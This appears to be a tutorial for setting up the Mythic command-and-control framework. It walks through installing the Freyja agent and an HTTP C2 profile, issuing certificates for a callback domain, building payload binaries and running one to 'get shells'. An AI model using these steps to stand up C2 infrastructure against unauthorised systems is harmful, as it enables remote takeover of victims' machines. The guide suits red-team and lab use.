Mythic Repo (The actual C2 Framework)
https://github.com/its-a-feature/Mythic
Mythic Agents (Linux, Windows, MacOS)
https://github.com/MythicAgents

Mythic C2 Profiles (DNS, HTTP, Discord, Slack)
https://github.com/MythicC2Profiles

Installing
This is the command to ssh with all the proper port forwards to interact with Mythic.
ssh root@X.X.X.X -L 7443:127.0.0.1:7443 -L 8080:127.0.0.1:8080 -L 8090:127.0.0.1:8090 -L 7000:127.0.0.1:7000
Step 1 - Clone the Repo in the /opt/ directory
git clone https://github.com/its-a-feature/Mythic

Step 2 - Build Mythic
**Once cloned from Step 1: **
cd Mythic
make

Step 3 - Start Mythic for Initial Use
./mythic-cli start

Step 4 - Install an Agent
There are many agents. For this documentation, we will be using Freyja. Freyja is in Go and supports Windows, Linux, and MacOS.
./mythic-cli install github https://github.com/MythicAgents/freyja

Step 5 - Install a C2 profile
Mythic supports some interesting C2 profiles. Discord, Slack, HTTP, and even Websockets. We will be using a basic HTTP profile.
./mythic-cli install github https://github.com/MythicC2Profiles/http

Step 6 - Connect to Mythic
Make sure your ports are forwarded properly!!
ssh root@X.X.X.X -L 7443:127.0.0.1:7443 -L 8080:127.0.0.1:8080 -L 8090:127.0.0.1:8090 -L 7000:127.0.0.1:7000
The Mythic UI is located on https://127.0.0.1:7443/new/login

The Mythic admin password and username are located in the .env file on line 25 and 26 in the same directory it was cloned. In this case, /opt/Mythic/.env

Step 7 - Go to the C2 Profiles Page
From the Home Screen

Step 8 - Edit the Config for the HTTP/s Listener

Original Config

If you are using your own domain, you can use the following commands to generate your own cert with Let’s Encrypt
apt install python3-certbot-apache -y
mkdir /var/log/apache2/
certbot certonly -d <domain name> --apache --register-unsafely-without-email --agree-tos
Uploading SSL Certificates
After you generate your SSL certs to your Droplet, move them to your localhost and upload them through the UI.

First, delete the old .pem files
Next, Upload the New .pem files :
This caused confusion, I was trying to specify files from the server side, not the client side. Get your fullchain.pem and privkey.pem files on the client side and upload them to the UI.
Modified Config

Start Profile

Step 9 - Configure Your Domain in the Payload Profile
Select the Floppy Disk
Modify Parameters

Step 10 - Create Payloads

Step 11 - Build Binary Payloads
Select Operating System - This is probably going to be Mac, but we have Linux for these docs.

Select Payload Types.

Click next until you get to the screen where you can select your C2 profiles. Select your profile that was made in Step 9. In this documentation it was the “Test” profile.

Step 12 - Generate payload
Continue clicking next until you see the following and create your payloads.

Step 13 - Get Shells
As a basic test, in Linux - you could grab the .bin file and execute the binary as (in this case)
./freyja.bin
Execution and callbacks to follow.

Shells == Smiles
